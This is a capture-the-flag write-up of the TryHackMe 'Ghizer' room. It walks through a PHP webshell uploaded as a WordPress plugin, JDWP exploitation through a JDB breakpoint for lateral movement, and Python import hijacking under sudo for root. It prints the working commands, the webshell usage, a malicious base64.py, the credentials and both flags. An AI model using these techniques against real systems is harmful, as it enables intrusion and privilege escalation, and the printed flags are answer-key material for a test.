Back to CTF Writeups

Ghizer — TryHackMe CTF

WordPress plugin upload to PHP webshell, JDWP debug port exploitation via JDB breakpoint on Log4j WatchManager for lateral movement to veronica, Python import hijacking via sudo for root. 2 flags.

TryHackMeHardApr 20260xb0rn3 | oxbv1

Overview

Three services: FTP (anonymous, leaks username), LimeSurvey on 80, WordPress 5.4.2 on 443. WordPress admin access via WPS Hide Login custom URL, malicious plugin upload for webshell. Ghidra runs in debug mode with JDWP on localhost:18001 — forwarded externally via Python socket relay, then JDB breakpoint on Log4j WatchManager$WatchRunnable.run() fires every ~30s to execute as veronica. Root via Python import hijacking with sudo python3.5.

FTP anon (username leak) → WP login at /?devtools → Plugin upload (PHP webshell) → JDWP port forward (18003→18001) → JDB breakpoint (Log4j WatchManager) → exec as veronica → Python import hijack (base64.py) via sudo → root

Reconnaissance

PortServiceNotes
21/tcpvsFTPd 3.0.3Anonymous login — lists files but can't download (root-owned). Leaks /home/lucrecia/ftp/
80/tcpApache 2.4.18LimeSurvey 3.15.9
443/tcpApache 2.4.18WordPress 5.4.2 — actual attack surface

Foothold — WordPress Webshell

WPS Hide Login Bypass

WordPress uses WPS Hide Login. Custom login URL discovered in post content: /?devtools on port 443.

Plugin Upload

Credentials Anny:P4$W0RD!!#S3CUr3!. Logged in, uploaded malicious plugin ZIP containing PHP webshell, activated it.

# Webshell at:
https://TARGET/wp-content/plugins/shell_plugin/shell_plugin.php?cmd=id
# uid=33(www-data)

Lateral Movement — JDWP

Discovering JDWP

ss -tlnp   # 127.0.0.1:18001 (JDWP)
ps aux     # Ghidra with -Xrunjdwp:...address=127.0.0.1:18001

Port Forwarding

Python one-liner socket forwarder via webshell — binds 0.0.0.0:18003, relays to 127.0.0.1:18001.

JDB Breakpoint Exploitation

JDWP Gotcha

ClassType.InvokeMethod with VM.Suspend returns INVALID_THREAD(10) for all threads — threads suspended at native code can't execute Java. Must use a real breakpoint event instead.

# JDB commands
stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run
resume
# Wait ~30s for: "Breakpoint hit: Log4j2-TF-4-Scheduled-1"
print new java.lang.Runtime().exec("/tmp/get_user.sh")
Executes as veronica (Ghidra's process owner)
USER: THM{EB0C770CCEE1FD73204F954493B1B6C5E7155B177812AAB47EFB67D34B37EBD3}

Privilege Escalation — Python Import Hijack

sudo -l  # (root) NOPASSWD: /usr/bin/python3.5 /home/veronica/base.py
cat /home/veronica/base.py  # imports base64

base.py is root-owned (rw-r--r--) but veronica can write to /home/veronica/. Python adds the script's directory as sys.path[0], so a fake base64.py there gets imported first.

# Via JDB (as veronica)
cat > /home/veronica/base64.py << 'EOF'
import os
os.system("cat /root/root.txt > /tmp/rootflag.txt; chmod 777 /tmp/rootflag.txt")
EOF
sudo /usr/bin/python3.5 /home/veronica/base.py
ROOT: THM{02EAD328400C51E9AEA6A5DB8DE8DD499E10E975741B959F09BFCF077E11A1D9}

Lessons Learned

  1. JDWP on localhost isn't safe if any code can forward the port externally. JDB breakpoints allow arbitrary Java execution.
  2. Python import hijacking via sudo: sys.path[0] is the script's directory. If writable, any imported module can be replaced.
  3. WPS Hide Login custom URLs can leak in post content or REST API responses.
  4. JDB quirks: Runtime.exec(String) works but new String[]{} array literals don't parse in JDB expressions.

Tools Used

ToolPurpose
curlWP login, plugin upload, webshell
jdbJDWP breakpoint exploitation
Python socket forwarderPort relay (18003→18001)
exploit.shFull automation